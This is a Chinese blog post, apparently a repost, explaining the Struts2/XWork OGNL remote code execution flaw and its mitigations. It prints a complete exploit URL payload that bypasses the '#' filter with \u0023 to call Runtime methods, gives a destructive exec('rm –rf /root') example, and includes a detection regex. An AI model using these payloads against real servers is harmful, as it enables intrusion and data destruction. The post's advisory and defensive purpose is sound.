exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
- http://www.exploit-db.com/exploits/14360/
- http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
- ?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
- action.getUser().getAddress().setCity("Bishkek")
-
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
- ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
- ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
- java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行
- java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root")
,只要有权限就可以删除任何一个目录。
目前尝试了3个解决方案:
1.升级到struts2.2版本。
这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。
- <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
-
<s:property value="#UserUtil.getType().get(cType.toString())" />
<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
<s:property value="#UserUtil.getType().get(cType.toString())" />
这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。
2.struts参数过滤。
- <interceptor-ref name="params">
-
<param name="excludeParams">.*\\u0023.*</param>
- </interceptor-ref>
<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>
这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。
3.在前端请求进行过滤。
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。
我并没有在windows环境下测试,有同学在windows下没有试验成功,这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。
原文地址:http://www.iteye.com/topic/720209
分享到:
相关推荐
struts2下的Xwork2源文件 在 opensymphony开源社区http://www.opensymphony.com/ 可匿名使用SVN checkout xwork2的源代码 http://svn.opensymphony.com/svn/xwork/trunk
struts2_xwork2下载 http://struts.apache.org/2.0.14/index.html http://www.opensymphony.com/xwork/download.action
struts2 之xwork源码 供学习Struts2和Xwork的朋友使用
Struts2中xwork源码,希望对你们有所帮助。
Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档
Apache Struts Copyright 2000-2011 The Apache Software Foundation This product includes software developed by The Apache Software Foundation (http://www.apache.org/). Dojo (http://dojotoolkit.org/). ...
Apache Struts Copyright 2000-2011 The Apache Software Foundation This product includes software developed by The Apache Software Foundation (http://www.apache.org/). Dojo (http://dojotoolkit.org/). ...
Apache Struts Copyright 2000-2011 The Apache Software Foundation This product includes software developed by The Apache Software Foundation (http://www.apache.org/). Dojo (http://dojotoolkit.org/). ...
Apache Struts Copyright 2000-2007 The Apache Software Foundation This product includes software developed by The Apache Software Foundation (http://www.apache.org/). Dojo (http://dojotoolkit.org/). ...
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...
Struts2 2.3.16xwork_doc 自己制作的xwork,如有错漏请见谅
Apache的Struts2框架最近出了一个很严重的漏洞,可以直接执行系统命令 http://www.163.com?%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27...
最新版本的Struts2.2.3 以及Xwork的帮助文档
struts2-core-2.2.1.jar:Struts2框架的核心类库。 xwork-core-2.2.1.jar:Xwork核心类库,Struts2在其上构建。 ognl-3.0.jar:对象图导航语言(Object Graph Navigation Language),它是一种功能强大的表达式语言...
最全的struts2.3和xwork2.chm中文帮助文档
struts2下的xwork源码 学习源代码,掌握struts2原理
Struts2中xwork的源代码,学习Struts2的朋友一定要看看
struts2核心jar包,需要的可以下载使用
struts2-xwork-ognl的源文件(jar包),在eclipse中导入就可以直接在eclipse中查看对应的源代码,(注:现在下载的struts2的开发包已不自带此文件)免费的啊